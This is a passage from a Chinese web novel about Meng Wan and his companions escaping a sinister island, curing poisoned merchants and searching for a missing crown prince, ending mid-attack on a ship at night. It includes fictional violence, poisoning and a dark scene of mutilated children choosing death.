“真的吗!”六个孩子一脸欣喜,他们不像是在迎接死亡,反而像是得到了自己心爱的礼物。 沈小姐背过身去,肩头微微颤抖,几声细碎的呜咽声溢出来,回荡在漆黑的岩石隧道里。 “你不要哭了,你很幸运的,还没来得及被做成我们这样的怪物,和他们一起走吧,离开这座可怕的岛屿,去找你的家人。”、 被一群小小的,受尽苦难即将离世的孩子安慰,沈小姐彻底崩溃了,她扑过去抱住其中一个小女孩,“你们不要死好不好!啊……呜呜……” 那些孩子奇怪的看着她,有两个甚至有些生气,他们好不容易才要摆脱的! 孟晚跪坐在这群孩子面前,“你们还有没有心愿,我可以帮你们完成。” “心愿?”六个孩子你看看我,我看看你,齐齐摇了摇头,攥紧孟晚之前送给他们零食包,诚恳的说:“我们只想死掉。” 孟晚闭上了眼睛,“那好,你们去吧。” 上面的乐鼓声已经响了一会儿,六个孩子依次游到楚辞身边,从他手上衔走一粒粒粉色药丸,然后头也不回的游走。 孟晚等人一直目送他们离开,谁的内心都不平静。 孟晚率先迈开步子,“我们也走吧,救不回他们,起码也要毁了这座岛。” 鲛人冢中又传来了缥缈的歌声,孟晚现在才终于听懂那歌声里的意思。 那是绝望的孩子在拼命呐喊,里面带着赴死如归的坦然和决绝,鲛人冢湖底铺着的一具具幼小的骸骨,会是他们最终的归宿。 上面的人们早已等候多时,他们或是好奇,或是为了利益,又或许是为了什么任务,总之一起观看了这一场精彩的人鱼演出。 幼小的“鲛人”如伊莎贝尔一样将衔在口中的粉色珠子渡给湖边的客商。 伊莎贝尔眼神冷漠的等着看这些富商待会的丑陋姿态,隧道口的位置却突然传来打斗声。 堼伯一脚一个,那些高壮的打手在他手里和小鸡仔一样,不堪一击。青年男人气定神闲的走到湖边,捏住一个还没来得及送出鲛珠的孩子下巴,将那颗粉色的珠子捏在手中把玩。 伊莎贝尔盯着他手中的粉色药丸,总觉得色泽比往日要更艳红一些,质地也较为粗糙。 她不知道这是楚辞紧急手搓的,模样自然比怪道士精心炼制的差上一筹。 “贵客,您这是做什么?”伊莎贝尔的任务是让上岛的男宾从鲛人冢出去之后都不会泄密。特别是岛主挑中的几人,“鲛珠”中都加了特殊的东西,保管他们离开吉婆岛后也会主动回来。 堼伯和青年显然不在此列,他们和孟晚一样,一开始就被隔绝在外。 青年捏着那颗小小的鲛珠喃喃自语,“原来这就是鲛珠,你们用他敛财讨好上面的人?但要我说……有命赚钱,也该有命花才是。” 伊莎贝尔身上的鸡皮疙瘩瞬间悚然而立,她发出一声惊叫,但下一瞬间就被堼伯掐住了脖子,“带我们去找蚩峟,否则,死!” 伊莎贝尔艰难的说:“我不知道……” 下一秒只听“咔哧”一声,她美丽的脖颈便应声而断。 堼伯将她窈窕的尸体扔进湖里,砸在耐心幼小的“鲛人”面前。他们却连水珠溅到眼睛里都不眨一下,只是麻木的看着这一切,如同失去灵魂的瓷娃娃。 “你们不恨她?”青年挑眉问道。 “鲛人”们摇了摇头,“不是伊莎贝尔把我们变成这样的,她也是听岛主的命令。” 青年眼神幽深,“她果然不是吉婆岛的岛主,真正的岛主在哪儿,把你们变成这样的蚩峟呢?” 这群孩子什么都不懂,只有在提到把他们变成这样的人,眼神才开始发生变化,恐惧到连恨也不敢。 “啊!”最小的“鲛人”突然开始痛呼起来,随后其他“鲛人”脸色也发生变化。 长时间泡在水里,他们又开始疼了。 现在辖制他们的人都不在这里,他们好像真的“自由”了。 其中一个男孩白着脸歪了歪头,瞄准湖中木台尖锐的边角,翻身向那处游动,然后果断的一头撞了上去。 鲜血从湖中蔓延,小小的身体往水下下沉,引得其余五个“人鱼”迫不及待的效仿。 他们奔赴死亡,嘴角却热烈张扬。 接二连三的“砰砰”声吓坏了木台上的乐师,有的人脸上身上都被溅上了血迹,那是他们身为旁观者,一辈子都洗不掉的印记。 出来做生意,叫几个姑娘小哥儿是常事,偶尔来上一场艳遇也无妨,但众目睽睽之下闹出人命来就不一样了。 在场所有面具人包括沈老爷都惊了,他们到底只是普通商人,出了事也乱了章法,一窝蜂的往隧道里挤,想出去找自家小厮仆从。 那几个乐师见势不对,都从木板上翻身跳进了水里。 堼伯武功高强,但却不懂凫水,只能眼睁睁看着他们逃走,方觉自己刚才不该直接把伊莎贝尔给杀了。 青年倒是不慌不忙,“堼伯不必懊恼,等一会儿天明时船靠了岸,就不信岛上的人敢如此轻易的放这些人离开。” 这主仆二人杀穿了鲛人冢这边的打手,那边蚩羽开路,也将道观清理个干干净净,两头竟然十分默契。 吉婆岛出了这么大的事,“鲛人”没表演完毕就全体阵亡,岛主伊莎贝尔和大批打手也都被一窝端了。 郭启秀再沉得住气,这会儿也坐不住了,吉婆岛到如今的规模是经营了六年的结果,才刚为主人添上两分助力就出了这么大的事,他办事不利难逃责罚。 出动岛上所有打手,其中还有四名郭启秀供养的二流高手,这么多人,找到闹事的人很容易。 孟晚坐在渡口的一块巨大的岩石上,不慌不忙的吃着果干,这是他兜里最后一块了,之后要是再上船,他就没有补给了。 楚辞坐在他身后,为沈小姐上药,他身边的位置散落着几个药包。蚩羽则站在孟晚身前,姿态警惕。 他们身前的空地上点了个大火堆,夜晚的海风微凉,孟晚时不时走过去烤烤火。 那对主仆的想法和孟晚差不多,他们也在渡口处默默等待,与孟晚他们在暗夜中遥遥相望。 举着火把的打手找到两方捣蛋的人时,孟晚和那青年仍是气定神闲。 另外几个富商都被郭启秀抓了过来,包括堼伯他们带来的几个手下。 “二位真是好本事啊!”郭启秀皮笑肉不笑的说。 他说的两位,自然指孟晚和那青年。 孟晚手托着下巴,姿态惬意,“好说,不及郭岛主厉害,竟然神机妙算把人给送走了。” 主仆二人神色一动,青年扬声问道:“蚩峟不在岛上?” 发觉这两方人的目的似乎都是蚩峟道长,郭启秀这会儿才开始后怕,若不是偃态度强硬的将人带离岛上,他这会儿真的不见得能保住道长。 “你们伤了我手下众多,真当我不敢动你们吗!”郭启秀冷笑,他大手一挥,身后众多人手蜂拥而至,将孟晚他们团团围住。 虽然两方都有高手在,但吉婆岛到底是他自己的地盘,光是人海战术就能累死堼伯和蚩羽。 “我劝你最好别乱动。”孟晚不怀好意的说。 郭启秀只觉得他在装腔作势,“呵,不知你是什么身份,但落到吉婆岛,生死便由不得你做主了!” “还有你,项公子,听说你是项家主支一脉最有出息的子弟,项家舍得把你派出来,真是高看郭某了。既然你先动手,就别怪郭某不给项家面子了!”郭启秀竟然还真的知晓青年的身份。 比起岭南低调的官家夫郎,确实是外出闯荡的四大家族嫡子嫡孙更引人注意,也难怪刚开始郭启秀不把孟晚放在眼里。 项公子自身也从小习武,比孟晚这个光动嘴皮子的菜鸡强上不知多少,人也有底气,“废话少说,若是敢阻拦本公子离开,就不知道你身后的人,能不能承受住项家的报复。” “大侄子,咱们两家还有亲呢,你走的时候别忘了带上小叔。” 第14章 离岛 项公子脸色古怪,“你和我有亲?” 看着孟晚气定神闲,临危不惧的样子,他怎么不知道项家有这么一号人物? 反正都姓项,不是项先生的子侄辈就是孙子辈,孟晚半点不虚,“家师项芸。” 项公子瞳孔微缩,竟脱口而出,“你是孟晚!” 孟晚虚虚眯起眼睛,颇显意外,这小子竟然真的知道他? 郭启秀虽然不知道这个孟晚是谁,但他不能眼睁睁的看两边高手联合。 “先抓那个小哥儿!”他对身边的门客吩咐。 堼伯实力高强,这个叫孟晚的哥儿一看便是主事的人,他身边体型健壮的哥儿实力尚未可知。 但自己这里有四个二流高手在,拼尽全力下杀个手无寸铁的哥儿简直易如反掌! 当下三流高手才是主流,二流的门客可遇而不可求,一座小小的海岛上竟然隐藏着四位高手,说实话孟晚也没料到。 “大侄子,你就看着小叔叔被人打吗?等我们被郭启秀抓住,他下一个对付的,可就是你了。”孟晚坐在岩石上不动,任由蚩羽以一抵四,十招后就落了下风。 见他到现在还煽风点火,郭启秀忙道:“项公子放心,我们吉婆岛还没有那么大的胆子,敢得罪项家嫡系。” 就算郭启秀不说,项公子与堼伯一动不动,也半分没有要出手的意思,项公子甚至嘲讽的说:“你只管放心,等你死后,我会替你报仇的。” 孟晚上扬的嘴角平复下来,项家嫡系是吧,很好。 “蚩羽,退回来。” 蚩羽捂着受伤的胳膊边打边往后撤,那四人刀枪棍棒武器各不相同,跟在后面穷追不舍。 海上不知什么时候起了阵海风,蚩羽一脚踢翻了面前火堆,大量浓烟四起,烟雾被海风带的乱窜,糊了蚩羽和后面四人一脸,而且还在迅速蔓延。 “公子小心。”堼伯是老江湖了,他飞快带着项公子后撤。 那四位二流高手也回过神来要退,可是已经晚了,他们距离浓烟太近,屏息之前便已经吸了好几口烟气。 “不好!” “卑鄙!” 他们四人中,最不济的已经坚持不住半跪在地上,另外三人开始精神恍惚,站立不稳。 “蚩羽!”孟晚厉喝一声。 蚩羽刚才有片刻呆滞,被孟晚一喊立即清醒,反身就是一刀砍在离他最近的那人脖子上,那人虽然竭力闪避,可动作太过迟缓。 下一瞬间鲜血飞溅,离蚩羽最近的人捂住脖子倒在地上。 解决了一个,下一个就更顺利了,那三人哪怕联合起来,但浑身酸麻无力,也抵抗不住蚩羽的重刀,他像砍西瓜似的连砍四人,直起身后半边身子上都是鲜红的血液。 远处的郭启秀已经退到人群最后,但他面前的普通打手也各个开始摇头晃脑。 楚辞几乎将所有迷药都下了个遍,除了他自己外,连提前被喂了解药的孟晚和蚩羽也差点顶不住。 孟晚之所以一直坐着,完全是因为他站不起来一点。 在场除了堼伯受的影响最低,项公子也软了膝盖,普通打手离得远,但体质一般,这会儿已经不堪大用了。 项公子狼狈的笑笑,指着倒下的一大片人问孟晚,“这就是你的诚意?假意恳求与我合作,实际上没想放过一个人,传闻里的孟夫郎,可没有这么阴险。” 若不是时机不对,孟晚还真的很好奇关于他的传闻。 “蚩羽,不用去追。”孟晚叫住想去追杀郭启秀的蚩羽,毕竟旁边还有个堼伯虎视眈眈,孟晚不敢让蚩羽离开他左右。 “小辞,你去把那些富商带过来。” 这附近除了蚩羽和堼伯,也就只有楚辞还有行动力了。 那些富商有的参加了鲛人冢仪式,有的还无知无觉,是被郭启秀哄骗过来的普通人,这会儿还一脸惊恐,显然是被刚才蚩羽杀人的血腥手段吓傻了,有两个甚至想跟着郭启秀一起跑。 正在这时,隐匿在人群中的沈老爷突然倒地不起,身边有这几天和他相谈甚欢的富商软着身子去扶人,却见对方脸色绯红,眼睛瞪大,眼球外凸,口中发出可怕的“嗬嗬”声,模样十分恐怖。 不光是他,还有另外两名异国富商也是如此。 这一幕把其他人吓得够呛,“你们……你们对我们下了毒!” 他们的目光锁向了最像反面人物的孟晚。 孟晚好笑的指了指自己,“我?给你们下毒?我看上去很闲?你们吃过什么东西自己难道不知道吗?” 陈振龙立即想到不久前在鲛人冢的那场艳遇,他脸色难看至极,“是我们吃下的鲛珠有问题。” 孟晚给他一个“还算你聪明”的眼神,“吉婆岛这么神神秘秘的召集你们上岛,就为了卖你们几颗鲛珠吗?” “我们都是各地有名望的富商,能把我们叫过来哪怕是拓展人脉的好处就不知道多少。”还真有人现在还以为他们是被请来的贵客。 不过也有如陈振龙这般清醒的商人,“他们想对我们下毒,用来挟持我们,源源不断的为他们输送银钱?” “那也未免太小看我等了。” 这些富商很多都是白手起家,家产和家族荣耀大过一切,若他们被害,家里的儿子、孙子也不会放过这座异国小岛的。 “各位都是心有成算的,当然不会在清醒状态下,将家产拱手相让,但若是如沈老爷这样呢?”孟晚指着地上犯了瘾,涕泪全流,嘶吼着让人给他们鲛珠的三人。 只几句话的功夫,他们就已经被折磨的不成人形了。 其余富商看着他们的样子,全都不自觉的咽了口口水。 “晚哥儿,我也服了鲛珠,难道也会像他们这……这副模样?”陈振龙嘴唇颤抖,他可是第一个吞了鲛珠的。 孟晚点着手指头算时间,“是啊,按照时间来看,你们几个也快发作了。到时候可能没有沈老爷他们这样,不过苦头肯定是要吃的。” 他话音刚落,陈振龙就捂住了肚子,其余人也或多或少的出现了异样。 安博把孟晚的话都翻译给了其他异国富商,大家都很恐惧。 “晚哥儿,我记得唐兄身边跟着位小哥是郎中,能不能让他来医治我等?”陈振龙一半是真疼,一半是吓得,头上脸上全是冷汗。 孟晚意外的好说话,“当然可以,小辞,快去帮陈老爷看看。” 楚辞起身走到陈振龙一行人身边,挨个为他们诊脉,然后像模像样的对孟晚点了点头。 “小郎中,我们的毒怎么说?”危及生命,这群富商都坐不住了。 楚辞当然回答不了他们,孟晚替他解释道:“诸位,楚郎中的意思是,你们的毒虽然可解,但有些麻烦。” 这些富商哪个不是人精,当即说道:“只要楚郎中能解了我等身上的毒,天材地宝,只要是我们能寻来的,定然双手奉上。” “天材地宝不需要,但确实是许多药材是这岛上没有的,楚郎中如今只能暂时压制住你们的毒性,一切要等离开吉婆岛再说。”孟晚说完站在岩石上眺望远方海岸。 这会儿天就要亮了,海岸与天边的交界处渐渐泛起鱼肚白,一艘熟悉的福船稳稳驶来。 孟晚和楚辞守在一边重新点起火堆,蚩羽则守在渡口跃跃欲试。 福船即将靠近的时候,岛上道观方向突然放出了三束烟火,在天色渐明的时刻分外醒目。 孟晚叹了口气,“还蛮漂亮的,可惜我家夫君不能陪我一起看。” 本来在前行的福船蓦地收住了势头,分明是上面的杂役领悟了郭启秀发出的讯号。 所有人都十分焦急,他们联系不上外界,吉婆岛的福船是大家离开海岛的唯一希望。 可蚩羽还在海边热身,半点没有下海拦船的意思,孟晚也同样不慌不忙。 “孟晚!你真是沉得住气啊,难不成要在这岛上待一辈子?”项公子知道他的意图,眼见着福船上的人似乎发觉不对正要返航,只能咬着牙问道。 孟晚悠哉悠哉的说:“这岛上有山有水,有吃有喝,饿又饿不死,我着什么急?” “你……”项公子眼见孟晚油盐不进,终于松了口,“堼伯,你也去。” 可怜堼伯一把年纪还不会泅水,被孟晚硬逼着下了水,蚩羽不知从哪儿卸了块门板当作木筏,载着两人往福船的方向划去。 半个时辰后,福船重新前行,顺顺当当的停靠在渡口处。 富商们迫不及待的登船上去,连后面的家丁小厮也顾不得了。 “晚哥儿,等等我们!”夏垣小跑着不知道从哪儿钻出来,他身旁的冯褚也神态狼狈,那个小厮更是不知去向。 “我……我们……”夏垣跑的上气不接下气。 孟晚打断他,“好了夏大人,我知道出了何事,你无碍便好,先上船再说吧。” 船上的人已经被蚩羽和堼伯制服,只剩余个哑巴舵师在掌舵。 “夫郎,找到个小孩,不是哑巴。”蚩羽提来一个小孩。 陈振龙认出了小男孩的来历,“他是那天送玉牌的人!” 听他一说,蚩羽也回想起来,“夫郎,好像真是在北海渡口的那个孩子。” 孟晚蹲在那个被绑起来的异国小男孩面前,问出了一个所有人都没料到的问题。 “这些玉牌,是谁雕琢出来的?” 小男孩一怔,“玉牌?是偃带来的,我不知道是做的。” “偃?”孟晚觉得这个名字有些耳熟。 “孟夫郎,我家老爷有事相商。”冯褚换了身体面些的衣服过来叫孟晚。 他和夏垣阴差阳错的走岔了路,钻到了吉婆岛的另一处隐秘的小码头,可惜那里已经没有船只了。 “孟夫郎,我们出来已经许久,如今还没探查到殿下的消息,眼下再去宁平府只怕更耽误时间,不如改道直接去离这里最近广安府?”夏垣急的嘴角长泡。 孟晚上船就开始有些不舒服,他语气虚弱的说道:“夏大人说的是,一切但凭大人决定。” 夏垣又问:“那咱们拉这一船的人是不是有些张扬了?不若将他们都放下船去?” 孟晚没忍住笑了一下,配上羸弱的姿态,别有一番风情,“大人说笑了,咱们如今在海上航行,将人家都放到何处去?便让他们跟咱们一起去广安府吧。” 夏垣捋了捋乱七八糟的胡子,“孟夫郎说的是,老夫也是这个意思,一切以找殿下踪迹为先。” 孟晚竭力安抚他,“大人放心,这些商人没准还能帮上我们。”禹国商人可能帮不上他们什么忙,可别忘了里面还有许多安南富商。 广安府是距离吉婆岛最近的府城,这点路在福船全力行驶下甚至用不了一天。 他们在广安府的渡口下了船,项家那对主仆来无影去无踪的,孟晚临下船的时候发现他们已经不在了,不光如此,那个被捆的严严实实的男孩也被他们带走了。 孟晚花了点银两雇佣大批码头上的力工,吩咐他们押着福船上的杂役去当地官府报案。 不知道管不管用,总比杀光了或者都放了省心。 “诸位,我也不说太多客气话了。禹国有句古话叫知恩图报,我救了你们的命,你们要是不报答我,老天爷都不同意。”孟晚手中拿着楚辞制作的“解药”义正言辞的说道。 没被郭启秀邀请到鲛人冢的商人下船就走,剩下的富商此刻目光都盯着孟晚手里的药丸。 这些富商中有两人在广安府当地也有买卖,下了船的第一件事便是找郎中来看。 结果可想而知,确实中了毒,还是非常罕见的毒,治不了,甚至查都查不明白。 “您直说要钱还是要人,只要我们能办到,夫郎但说无妨。”这些富商也从他人的态度中明白孟晚的身份似乎有些不同寻常,一个个说话都客气的很。 “好说,我并不是用这些解药来威胁诸位的意思,只是想借诸位的人脉帮我打探一些安南国都里的消息而已。” 孟晚说着,真的将手中药粒分给众人。 所有人都默契的没有当场服用,连与夏垣关系不错的陈振龙都捏着药丸小心的放进袖兜里。 他们真的怕了,再不敢乱吃,要先找郎中鉴定一番再说。 第15章 消息 安南毕竟是小国,医疗水平也不如禹国,楚辞制毒的本事是怪道士教出来的,寻常郎中怎么可能看出什么端倪来。 大家将信将疑,不吃怕自己变成沈老爷那样,吃了又怕更种一层毒。 想来想去,毒死了也比沈老爷那样不人不鬼的强,一咬牙,一跺脚,最有魄力的陈振龙先吃了。 其他人见他吃了没死,且再去找郎中诊断,郎中也说没事了,这才敢一一服用。 孟晚本来也不想用毒药拿捏别人,那是下下策,得罪人不说,得来的消息也不见得是真是假。 倒不如直接将解药都给他们分了,结个善缘换些货真价实的东西。 “孟夫郎,难道咱们就在广安府安心待着?让那些商人帮我们去查殿下的下落?”夏垣又开始着急。 孟晚心想难不成我直接杀到安南国都去问安南王?或是到前线直接去质问安南将领? 心里吐槽,嘴上还是不得不安慰道:“夏大人明鉴,我实在是想不出什么好法子,一切还要夏大人做主。” 他就是普普通通顶多有点钱的官夫郎,可没法承担什么了不得的大责,想救太子他出钱出力可以,就是不能担责。 “这……”夏垣一时间也有点头大,“不若让冯褚和蚩羽去安南国都打探打探消息?” 孟晚面露为难,“夏大人,我们是一帮子禹国人,在安南的地盘上本来就已经很招摇了,身边若不留一高手守护,万一真出了什么事情……”他们自身难保。 夏垣自己忠君爱国就算了,他可不想跟着涉险,孟晚所做一切,都是在能保全自身的前提下,让冯褚去就是,蚩羽万不能离开。 “那就先派冯褚出去打探,若有殿下的消息再商议对策。”夏垣只能如此说道。 事情都处理妥当,孟晚在下榻的客栈安心睡了个好觉,第二天一早沈小姐过来拜别。 “晚哥儿……不,孟夫郎,我是来向你辞行的。”沈小姐听其他人这样孟晚,虽然不明觉厉,但也跟着叫起了夫郎。 她头上缠上一层布帽,脸色蜡黄消瘦,再无当日沈家小姐的威风,眼神惶恐不安。 沈老爷这次来吉婆岛,其他事假,买鲛珠才是真的。如今没有鲛珠,他和瘾君子也无甚分别,除了睡觉,就是在他们租住的客栈中鬼吼鬼叫。 沈家这么一帮人都要靠沈小姐打点,她也心力交瘁,决定早早租船回家,可回去后,面对她的又是未知。 “回去后,可想好要如何过活?”孟晚将她请进房间说话。 沈小姐苦笑,她扯下头上的布包,露出头顶一片青色的头皮,“我都已经这样了,还能怎么过活?而且我爹又出了事,他若不清醒,只怕家里要出大乱。” 唯一值得庆幸的是,她这副尊容,嫡母短时间内应该不会让她嫁人了,真的光头出了门子,只会让旁人家看笑话。 “世道如此,女子本就艰难,你若是不甘便想个正道,或者趁沈家主还不清醒的时候替自己谋划条出路吧。”孟晚觉得聂知遥出门子招婿的主意就不错,只是沈小姐显然没有聂知遥那份魄力。 沈小姐若有所思,她起身正正经经地对孟晚道了谢,“楚郎中和孟夫郎的救命之恩无以为报,我身无长物,不知今后该如何报答你们。” “报答用不上,我们也算是顺手为之,小姐不必放在心上,还望回程多加小心。”孟晚态度客套又疏离。 沈小姐心怀忐忑的离开后,其他富商见自己果真无事,也都各奔东西。只有安南当地的三名富商,竭力帮孟晚打探消息。 叛国的事谁都不会干,可国都内的小道消息就不算什么了。 陈振龙与夏垣他们最熟,临走前夏垣等人还到渡口去送了他,“夏兄,这次多亏了你手下的人有勇有谋,还替我等解了身上奇毒,小弟感激不尽。”陈振龙抱拳对夏垣说道。 夏垣看了看身边的孟晚,收起下巴清了清嗓子,“咳咳,陈兄弟客气了,都是晚哥儿的功劳。” 陈振龙自然知道是孟晚伸出援手,他只是拿不准孟晚的身份地位,听夏垣这一说干脆顺势郑重向孟晚道谢。 孟晚受之无愧,他本来就救了他们,“我之前听说陈大哥曾经在吕宋国行商?” 陈振龙不明白孟晚为什么会问到吕宋国,实话实说道:“不算什么行商,只是送过一批茶叶过去。” “那好,既如此我想麻烦陈大哥一件事,不知陈大哥可否答应?”都说救命之恩日后相报,日后他去哪儿找这些爹去,孟晚也不等了,现在就要他们一一报答。 陈振龙爽快地说:“小哥儿但说无妨,我若是能办到,定会应承下来。” 孟晚话说的很委婉,“倒不是什么难事,只是有些麻烦。我想托陈大哥再去一趟吕宋,为我寻几种良种。”当着夏垣的面,孟晚将之前他工坊收留了几名吕宋国的事说了。 “那些人说的粮种产量极高,若是带回咱们禹国,没准也能造福百姓。” 吕宋国只是小国,距离又远,在不清楚那里的危险程度之前,孟晚不敢只身冒险,还不如让有过经验的陈振龙替他走这一趟。 听到孟晚要托自己去吕宋国寻粮种,陈振龙颇觉意外,更加肯定孟晚不是寻常人家,拱手答应下来,“便是小哥儿不说,我若是遇见粮种,定然也会带回禹国。只等我回家整顿一番,准备妥当再前往吕宋,若是寻到小哥儿所说粮种,定然上门告知。” 毕竟吕宋国不是与禹国国土接壤的安南,要去吕宋国不光要雇佣海船,还要请熟识海路的舵手,起码在海中行驶一月方能到达,其中风险巨大,确实是要好好准备。 孟晚露出个真情实意的笑脸,“那就劳烦陈大哥走这一趟了,若是真寻到了粮种,只管到西梧府辖内石见驿站找我。” “石见驿站?听着有些耳熟,好,我记住了。”陈振龙带着家丁登上前往福州的客船。 孟晚真心祈祷他一路顺风,再去找这么一个心思不坏,又去过吕宋国的商人,可是不好找的。 夏垣凝视孟晚的背影,神情复杂,孟晚居然还有这份忧国忧民的心思,如此大义,竟比他名下的学生还要好强三分。 可惜了,是个小哥儿。 安南国小,所有领土加在一起还没有半个岭南那么大,消息传的也快,三天后就开始陆陆续续的有书信传来,还有直接派家丁过来报信的。 夏垣急切的问:“孟夫郎,信上写的什么?可是有太子殿下的消息?” 孟晚将信看完之后眉头紧锁,“夏大人还是自己看吧。” 他们不能对其他人透露是要找人,所以信上的消息十分嘈杂,连安南国主的弟弟迎娶第七房小妾都说了。 在这些繁杂的消息中,却也能心细的发现几个不同寻常的事。 “去年盛夏安南国主征集了许多郎中去定立县。”定立县便是安南国前线,与禹国国土接壤。派那么多的郎中过去,应该是他们国家盛夏暴雨连天,先生了疫症,后来才想到坑害钦州将士们。 夏垣指着另一封书信,“可短短两月,边境疫症应该尚未控制的住,为何所有郎中又被调回都城?” 孟晚琢磨着说:“王城之中必然有御医,连御医都治不了,像是手足无措之下才想出昏招……难不成是安南哪位皇室病重?” 夏垣捋着胡子,“这么大的阵仗,除非是国主和皇储病重。” “这么个架势救也救不回来了吧?假设那人已死,皇室病薨,举国哀悼,应该极好探查。”孟晚说完之后眉头一皱,总觉得有种不好的预感。 “不用查了。”冯褚悄无声息的从窗外翻进来,距离他出发去安南国才十一天,应该是不眠不休的赶回来的,下巴上都是潦草的胡茬。 冯褚脸色难看,“去年安南皇储中无人重病。” 夏垣看出他应该是查到了什么消息,走过去将窗户关上,“是不是查到殿下的消息了?他当真落在安南人手中?” 冯褚点头,“我到王都后,联系到了一位孟夫郎在岛上救了的商人,他带我找到一位从定立县受伤回来的士兵,据那士兵所说,他们当初在战场上,确实掳走了太子殿下。” 夏垣拍案而起,“什么!” 孟晚猛地听冯褚这么一说也是震惊不已,不过他很快反应过来,“不对啊?若是太子殿下真被抓到安南,他们该趁机对禹国提要求才是?怎么放到藏着掖着的?” 除非……太子殿下出事了。 安南敢和禹国小打小闹,但禹国储君若是死在安南,那就是惹了下滔天大祸,一个不好很有可能被灭国。 冯褚拱手说道:“属下只探查到了这些消息,其余的就不知道了。” 这样隐晦的真相更加磨人,夏垣在房间里冷静了一晚上,第二天去找孟晚商议的时候像是下了某种决心。 “孟夫郎,我们必须去一趟安南国都,确定太子殿下的音讯。”夏垣此行的目的就是太子,怎么可能为了自身安危无功而返呢? 孟晚劝道:“夏大人寻人心切我能理解,可就算褚哥武功高强,光靠他和蚩羽也是闯不进皇宫禁地的。” 安南也不是没有高手,皇宫如铁桶一般,就是葛全那样的一流高手来十个,恐怕也闯不进去。 夏垣早已深思熟虑过,“孟夫郎,接下来我和冯褚要先去安南国都,你直接乘船回北海渡口,向当地衙门求助。再回钦州叫上秦将军他们在钦州边境施压,让他们交出太子殿下。咱们两边双管齐下,定能找到太子踪迹。” 孟晚讶道:“可您不是说不可将太子殿下失踪的消息泄露出去吗?” 夏垣唉声叹气的说:“哎呀,都到了这个紧急关头,还管什么泄漏不泄漏的,若是……若是殿下真的在安南小国出了什么意外,那可是国之重事!” 孟晚本来也不想在安南继续待着耗费时间,当即答应下来,“夏大人莫急,我答应了,现在就让蚩羽和安博去问问渡口有没有客船,下午即刻出发。” 蚩羽不懂安南当地语言,安博是个很好的翻译,孟晚和楚辞收拾了些吃的准备带到船上,临行前还把安博留给夏垣,毕竟一个靠谱的翻译也不好找。 一切准备就绪,孟晚踏上了一条中型客船,与夏垣等人挥手告别。 “唉,终于要回家了。”孟晚站在甲板上长叹。 楚辞担心他又被风吹到,从下面招手让他下去。 这回船还没出渡口,风其实不算特别大,但为了不辜负儿子的一番好意,孟晚还是往船舱里走。 中途碰到几个船客,意外的都是禹国人长相,可惜都是汉子不好套话,不然还能打听打听。 这艘客船是一条普通的中型客船,能载六七十人往返,偏灵巧型,速度比他们来时乘坐的福船要快,才四天的时间,就已经行驶到广安府渡口和北海渡口的中段位置了。 这天孟晚在船上教楚辞斗地主,都是他俩用普通纸片画的,有模有样,这些天就靠这几张纸消遣了。 蚩羽从外面推门进来,拎着一壶烧好的水,好半天没有说话。 孟晚打牌空荡扭头看他,“怎么了这是?为何不说话?” 蚩羽把桌上的三个琉璃罐子倒满热水,“我刚才在上面厨房,好像看到俭儿了。”俭儿便是夏垣的小厮,只不过从吉婆岛失踪了。 孟晚低头看着手中的牌,扔出去一张最小的3,“是吗?” 他这样一问,蚩羽就认真仔细的想了一遍,最后肯定道:“好像真的是他,夫郎,你说他若是没死在吉婆岛,为什么没去找夏大人他们呢?” 楚辞用10压住孟晚的3,他手里还剩一对K。 孟晚手里有七张牌,他顶着楚辞的10出了张J,嘴上重复蚩羽的话,“是呢,他既然没死,为什么不去找夏大人?” 楚辞犹豫良久,最终没有将对K拆开,然后孟晚将剩下的七张牌连在一起一把扔了。 孟晚抽了条没用的布巾,围在“水杯”下面,防止它们因为船只晃动撒的到处都是水,“小辞,有的时候太谨慎也不好,该搏一搏没准有意外惊喜,当然,要分场合和对手。” 第16章 劫船 海上的夜晚总感觉比陆地上更加黑暗深邃,墨色的天幕压得很低,星光像是被海水浸湿了,黯淡到几乎看不见。 睡梦中能听到海浪执着拍打船体的声音,其间还夹杂着细细碎碎的人声…… “药下了没有?” “下在水里,也不知道烧开了之后药效还有没有。” “应该是有的,这三人也太过警惕,吃的喝的都无从下手,只能这么干。” “上头说了,其他两个能杀就杀,总之那个脸最漂亮的小哥儿不能留。” “这话已经交代八次了,兄弟们耳朵都起茧子了。” “这次不比寻常,必须要谨慎行事。” “船上其他人呢?” “这还用问?当然是一个不留。” “废话少说,都仔细着些,那个长得高高大大的哥儿不好对付……” 客船远没有福船宽敞,船舱内空间狭小,房间里摆不下两张床,蚩羽和楚辞睡在孟晚一左一右的房间。 后半夜的时候蚩羽先察觉不对,门外有脚步声,很轻,是有功夫在身的练家子。 他悄无声息地从床上坐起来,眼睛在黑夜中发亮。 动作轻缓的穿上鞋子,蚩羽在外面脚步声停在孟晚门前的时候,猛然踹开房门,连门口的人脸都没看清就迅速与对方缠斗了起来。 越打越是惊心,对方竟是二流高手。 “小辞!夫郎!有人想图某不九!”蚩羽抽出空隙喊了一句,楚辞的房间瞬间点起了油灯。 这时甲板上突然传来杂乱的脚步声,有人喊道:“杀人了!!!” 拿着火把的船上杂役和蒙着面的杀手混在一起,后者追着前者满船的跑,看见乱窜的活人就砍,血和海水混在一起,铺满了整个甲板。 孟晚周围的其他房间不知何时也悄然打开,无声跳出一道道人影,这些人影各个身形灵活,趁着蚩羽和旁人打的热闹,直奔孟晚房门。 比他们更快一步的是楚辞,他推开自己房门,以一种布巾遮面的姿势跑出来,迎面撒了一大包红色的粉末。 那些人可能早有准备,面上同样都覆着面巾,但是下一秒裸露在外的手和眼睛开始剧烈刺痛。 “啊!” “别过来,有……毒……” 前排的五六个人嘶吼着倒下,余下后面那些没有触到红色粉末的人迅速后退。 楚辞借机踹开了孟晚的房门,拽住警惕着背好了包袱的孟晚撒腿就跑。 “那小子没药了,快追!” 身后那群蒙着面的人紧追不舍,与蚩羽缠斗的人身手略逊他一筹,蚩羽边与他周旋,边趁机拦住几个要追孟晚他们的蒙面人,让孟晚和楚辞得以顺利的跑出包围圈,然后自己也逐渐开始防守,紧跟着孟晚他们身后。 他们坐的客船又与福船不一样,整个船体偏低,船舱的房间置于甲板之上,出门就能看到海水。 当下外面已经失控,到处都是乱窜的杂役和毫无顾忌持凶的蒙面人。 蚩羽被人缠着,只能尽力让孟晚和楚辞在自己的保护范围之内,楚辞则是一刻不停的往外撒药,只有手无寸铁的孟晚还算淡定,甚至还能抽空望望漆黑湿冷的海面。 楚辞的药眼见着不是无穷无尽,蚩羽发了狠,拼着自己受伤重创了对面的人,长刀直奔对方的脖子,被他仰头躲避了一下,脸上叫蚩羽的刀刃划出了一道口子,连带着严严实实的遮面布也被挑了下来。 